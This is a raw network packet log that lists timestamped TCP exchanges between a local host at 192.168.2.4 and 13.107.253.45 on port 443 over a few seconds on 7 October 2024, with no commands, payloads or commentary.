Oct 7, 2024 18:01:27.013921976 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.013926983 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.017261028 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.017344952 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.017420053 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.017576933 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.017611027 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.030813932 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.032128096 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.032197952 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.032242060 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.032254934 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.032265902 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.032269955 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.034569025 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.034598112 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.034674883 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.034801006 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.034826040 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.041260004 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.041423082 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.041541100 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.041858912 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.041858912 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.041878939 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.041898012 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.043833017 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.043878078 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.043921947 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.044049025 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.044049025 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.044056892 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.044064999 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.045231104 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.045270920 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.045346022 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.045650005 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.045666933 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.046924114 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.046941042 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.047004938 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.047204018 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.047218084 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.049256086 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.049292088 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.049345970 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.049428940 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.049428940 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.049536943 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.049536943 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.049545050 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.049555063 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.051847935 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.051871061 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.052016973 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.052287102 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.052303076 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.673995972 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.674657106 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.674726963 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.675240040 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.675256014 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.682190895 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.685498953 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.685517073 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.686029911 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.686034918 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.686290026 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.689495087 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.689518929 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.689897060 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.689903021 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.691682100 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.693403959 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.693418026 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.693933964 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.693942070 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.695246935 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.697444916 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.697463036 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.697819948 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.697830915 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.784089088 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.784473896 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.784759998 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.787437916 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.787437916 CEST	60353	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.787480116 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.787509918 CEST	443	60353	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.790985107 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.791013956 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.791049004 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.791261911 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.791348934 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.791349888 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.791409016 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.791429043 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.791439056 CEST	60356	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.791445017 CEST	443	60356	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.791496992 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.791508913 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.793494940 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.793545961 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.793694019 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.793720961 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.793756008 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.793811083 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.793945074 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.793960094 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.793960094 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.793972015 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.793982029 CEST	60355	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.793987989 CEST	443	60355	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.796196938 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.796235085 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.796310902 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.796451092 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.796466112 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.803873062 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.804141998 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.804203033 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.804204941 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.804261923 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.804311037 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.804311037 CEST	60354	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.804332018 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.804354906 CEST	443	60354	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.806864977 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.806899071 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.806961060 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.807073116 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.807087898 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.820075035 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.820472002 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.820596933 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.820691109 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.820691109 CEST	60357	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.820708990 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.820719957 CEST	443	60357	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.822856903 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.822873116 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.822926044 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.823019981 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.823025942 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.381493092 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.382595062 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.382667065 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.382714033 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.382729053 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.422272921 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.422760963 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.422781944 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.423269987 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.423291922 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.423774958 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.424026966 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.424055099 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.424340010 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.424348116 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.446351051 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.446772099 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.446789980 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.447211027 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.447217941 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.460088968 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.460637093 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.460649967 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.461080074 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.461083889 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.489147902 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.489617109 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.489662886 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.489686012 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.489715099 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.489769936 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.489782095 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.489792109 CEST	60362	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.489795923 CEST	443	60362	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.492468119 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.492507935 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.492599010 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.492799997 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.492814064 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528038025 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528187037 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528275013 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528445005 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528496027 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528512955 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528525114 CEST	60359	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528542995 CEST	443	60359	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528754950 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528811932 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528841972 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528865099 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528915882 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528950930 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528970003 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.528983116 CEST	60360	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.528990030 CEST	443	60360	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.531550884 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.531584024 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.531661034 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.531701088 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.531795979 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.531799078 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.531807899 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.531872988 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.532022953 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.532059908 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.554306030 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.554327011 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.554363966 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.554409027 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.554450035 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.554673910 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.554697037 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.554712057 CEST	60358	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.554718971 CEST	443	60358	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.557842970 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.557898998 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.557977915 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.558110952 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.558146000 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.682471037 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.685133934 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.685226917 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.685286045 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.685302973 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.685312986 CEST	60361	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.685319901 CEST	443	60361	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.688456059 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.688496113 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:28.688565016 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.688707113 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:28.688714981 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.335649014 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.336256981 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.336287975 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.336774111 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.336780071 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.340059042 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.340339899 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.340358019 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.340692043 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.340698004 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.342196941 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.342458010 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.342478037 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.342770100 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.342776060 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.343663931 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.343786001 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.343890905 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.343923092 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.344085932 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.344094038 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.344232082 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.344243050 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.344564915 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.344571114 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.665857077 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.666152954 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.666218996 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.666290045 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.666362047 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.666380882 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.666392088 CEST	60366	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.666398048 CEST	443	60366	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.668781042 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.668843985 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.668919086 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.669084072 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.669106960 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.669125080 CEST	60367	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.669132948 CEST	443	60367	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.669538021 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.669570923 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.669636011 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.669815063 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.669825077 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.673134089 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.673165083 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.673222065 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.673415899 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.673430920 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.677396059 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.677426100 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.677489996 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.677536964 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.677632093 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.677639008 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.677649021 CEST	60365	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.677653074 CEST	443	60365	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.678534031 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.678600073 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.679843903 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.679852962 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.679881096 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.679910898 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.679965019 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.679975986 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.679992914 CEST	60364	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.679999113 CEST	443	60364	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.680238008 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.680249929 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.680540085 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.680926085 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.680978060 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.681127071 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.681143999 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.681155920 CEST	60363	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.681160927 CEST	443	60363	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.682270050 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.682296991 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.682358027 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.682491064 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.682502031 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.683167934 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.683197021 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:30.683248997 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.683351994 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:30.683357954 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.301599026 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.302359104 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.302381992 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.302670956 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.302680016 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.303138018 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.303409100 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.303432941 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.303771973 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.303781033 CEST	443	60369	13.107.253.45	192.168.2.4
